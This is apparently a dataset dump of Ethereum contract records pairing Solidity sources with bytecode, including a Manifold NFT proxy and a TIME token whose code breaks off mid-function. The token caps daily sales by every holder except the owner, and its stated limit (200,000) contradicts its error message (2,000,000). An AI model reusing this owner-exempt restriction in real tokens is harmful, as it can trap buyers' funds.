| 0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806354fd4d501161008c57806395d89b411161006657806395d89b4114610195578063a457c2d71461019d578063a9059cbb146101b0578063dd62ed3e146101c357600080fd5b806354fd4d501461015c57806370a08231146101645780637afa1eed1461018d57600080fd5b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461011557806323b872dd14610127578063313ce5671461013a5780633950935114610149575b600080fd5b6100dc6101fc565b6040516100e99190610846565b60405180910390f35b61010561010036600461081d565b61028e565b60405190151581526020016100e9565b6002545b6040519081526020016100e9565b6101056101353660046107e2565b6102a4565b604051601281526020016100e9565b61010561015736600461081d565b61035a565b6100dc610391565b61011961017236600461078f565b6001600160a01b031660009081526020819052604090205490565b6100dc6103a0565b6100dc6103c0565b6101056101ab36600461081d565b6103cf565b6101056101be36600461081d565b61046a565b6101196101d13660046107b0565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60606003805461020b906108c8565b80601f0160208091040260200160405190810160405280929190818152602001828054610237906108c8565b80156102845780601f1061025957610100808354040283529160200191610284565b820191906000526020600020905b81548152906001019060200180831161026757829003601f168201915b5050505050905090565b600061029b338484610477565b50600192915050565b60006102b184848461059b565b6001600160a01b03841660009081526001602090815260408083203384529091529020548281101561033b5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61034f853361034a86856108b1565b610477565b506001949350505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161029b91859061034a908690610899565b60606005805461020b906108c8565b60606040518060600160405280602f815260200161091a602f9139905090565b60606004805461020b906108c8565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156104515760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610332565b610460338561034a86856108b1565b5060019392505050565b600061029b33848461059b565b6001600160a01b0383166104d95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610332565b6001600160a01b03821661053a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610332565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166105ff5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610332565b6001600160a01b0382166106615760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610332565b6001600160a01b038316600090815260208190526040902054818110156106d95760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610332565b6106e382826108b1565b6001600160a01b038086166000908152602081905260408082209390935590851681529081208054849290610719908490610899565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161076591815260200190565b60405180910390a350505050565b80356001600160a01b038116811461078a57600080fd5b919050565b6000602082840312156107a0578081fd5b6107a982610773565b9392505050565b600080604083850312156107c2578081fd5b6107cb83610773565b91506107d960208401610773565b90509250929050565b6000806000606084860312156107f6578081fd5b6107ff84610773565b925061080d60208501610773565b9150604084013590509250925092565b6000806040838503121561082f578182fd5b61083883610773565b946020939093013593505050565b6000602080835283518082850152825b8181101561087257858101830151858201604001528201610856565b818111156108835783604083870101525b50601f01601f1916929092016040019392505050565b600082198211156108ac576108ac610903565b500190565b6000828210156108c3576108c3610903565b500390565b600181811c908216806108dc57607f821691505b602082108114156108fd57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfe68747470733a2f2f766974746f6d696e61636f72692e6769746875622e696f2f65726332302d67656e657261746f72a26469706673582212200315b04416bc8583c10593e3cb96b647a898c96162e4c292753f8ea5ec5a123164736f6c63430008040033 | [
38
] |
0xf35777f2054322bf7bfa057c7cea28a7eb40b63c | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @title: Rosie Gibbens
/// @author: manifold.xyz
import "./ERC721Creator.sol";
/////////////////////////////////////////////////////////////////////////////////////////
// //
// //
// .-------. ,-----. .-'''-. .-./`) .-''-. //
// | _ _ \ .' .-, '. / _ \\ .-.') .'_ _ \ //
// | ( ' ) | / ,-.| \ _ \ (`' )/`--'/ `-' \ / ( ` ) ' //
// |(_ o _) / ; \ '_ / | :(_ o _). `-'`"`. (_ o _) | //
// | (_,_).' __ | _`,/ \ _/ | (_,_). '. .---. | (_,_)___| //
// | |\ \ | |: ( '\_/ \ ;.---. \ : | | ' \ .---. //
// | | \ `' / \ `"/ \ ) / \ `-' | | | \ `-' / //
// | | \ / '. \_/``".' \ / | | \ / //
// ''-' `'-' '-----' `-...-' '---' `'-..-' //
// .-_'''-. .-./`) _______ _______ .-''-. ,---. .--. .-'''-. //
// '_( )_ \ \ .-.')\ ____ \ \ ____ \ .'_ _ \ | \ | | / _ \ //
// |(_ o _)| '/ `-' \| | \ | | | \ | / ( ` ) '| , \ | | (`' )/`--' //
// . (_,_)/___| `-'`"`| |____/ / | |____/ / . (_ o _) || |\_ \| |(_ o _). //
// | | .-----..---. | _ _ '. | _ _ '. | (_,_)___|| _( )_\ | (_,_). '. //
// ' \ '- .'| | | ( ' ) \| ( ' ) \' \ .---.| (_ o _) |.---. \ : //
// \ `-'` | | | | (_{;}_) || (_{;}_) | \ `-' /| (_,_)\ |\ `-' | //
// \ / | | | (_,_) /| (_,_) / \ / | | | | \ / //
// `'-...-' '---' /_______.' /_______.' `'-..-' '--' '--' `-...-' //
// //
// //
/////////////////////////////////////////////////////////////////////////////////////////
contract RG is ERC721Creator {
constructor() ERC721Creator("Rosie Gibbens", "RG") {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @author: manifold.xyz
import "@openzeppelin/contracts/proxy/Proxy.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/StorageSlot.sol";
contract ERC721Creator is Proxy {
constructor(string memory name, string memory symbol) {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a;
Address.functionDelegateCall(
0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a,
abi.encodeWithSignature("initialize(string,string)", name, symbol)
);
}
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation address.
*/
function implementation() public view returns (address) {
return _implementation();
}
function _implementation() internal override view returns (address) {
return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (proxy/Proxy.sol)
pragma solidity ^0.8.0;
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internal call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal virtual {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
/**
* @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback() external payable virtual {
_fallback();
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive() external payable virtual {
_fallback();
}
/**
* @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
* call, or as part of the Solidity `fallback` or `receive` functions.
*
* If overriden should call `super._beforeFallback()`.
*/
function _beforeFallback() internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
} | 0x6080604052600436106100225760003560e01c80635c60da1b1461003957610031565b366100315761002f61006a565b005b61002f61006a565b34801561004557600080fd5b5061004e6100a5565b6040516001600160a01b03909116815260200160405180910390f35b6100a361009e7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b61010c565b565b60006100d87f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b90565b606061010583836040518060600160405280602781526020016102cb60279139610130565b9392505050565b3660008037600080366000845af43d6000803e80801561012b573d6000f35b3d6000fd5b60606001600160a01b0384163b61019d5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b0316856040516101b8919061024b565b600060405180830381855af49150503d80600081146101f3576040519150601f19603f3d011682016040523d82523d6000602084013e6101f8565b606091505b5091509150610208828286610212565b9695505050505050565b60608315610221575081610105565b8251156102315782518084602001fd5b8160405162461bcd60e51b81526004016101949190610267565b6000825161025d81846020870161029a565b9190910192915050565b602081526000825180602084015261028681604085016020870161029a565b601f01601f19169190910160400192915050565b60005b838110156102b557818101518382015260200161029d565b838111156102c4576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220cf99241b5b6694c880643d232bcb60e32beba652bd5c7447be110ee2ce68a34264736f6c63430008070033 | [
5
] |
0xf357a2b37579912a0a8040c05ad1842255257f02 | //SPDX-License-Identifier: UNLICENSED
pragma solidity 0.6.12;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8);
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the bep token owner.
*/
function getOwner() external view returns (address);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address _owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Goat is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => uint256) public lastSell;
mapping (address => uint256) private tokensSold;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 private _decimals;
string private _symbol;
string private _name;
uint256 public daySellLimit = 200000 * 10**9;
address public uniswapV2Pair;
constructor() public {
_name = "TIME";
_symbol = "TIME";
_decimals = 9;
_totalSupply = 1000000000 * 10 ** 9;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
/**
* @dev Returns the bep token owner.
*/
function getOwner() external view override returns (address) {
return owner();
}
/**
* @dev Returns the token decimals.
*/
function decimals() external view override returns (uint8) {
return _decimals;
}
/**
* @dev Returns the token symbol.
*/
function symbol() external view override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the token name.
*/
function name() external view override returns (string memory) {
return _name;
}
/**
* @dev See {ERC20-totalSupply}.
*/
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {ERC20-balanceOf}.
*/
function balanceOf(address account) external view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {ERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {ERC20-allowance}.
*/
function allowance(address owner, address spender) external view override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {ERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {ERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address from, address to, uint256 amount) internal {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
//if selling
if(to == uniswapV2Pair && from != owner()){
// if sold in last 24 hours
if(block.timestamp - lastSell[from] < 1 days) {
require(amount <= daySellLimit);
require(amount + tokensSold[from] <= daySellLimit, "Can only sell 2,000,000 every 24 hours");
lastSell[from] = block.timestamp;
tokensSold[from] = tokensSold[from].add(amount);
}
else { // if hasnt sold in the last 24 hours
tokensSold[from] = 0;
require(amount <= daySellLimit, "Can only sell 2,000,000 every 24 hours");
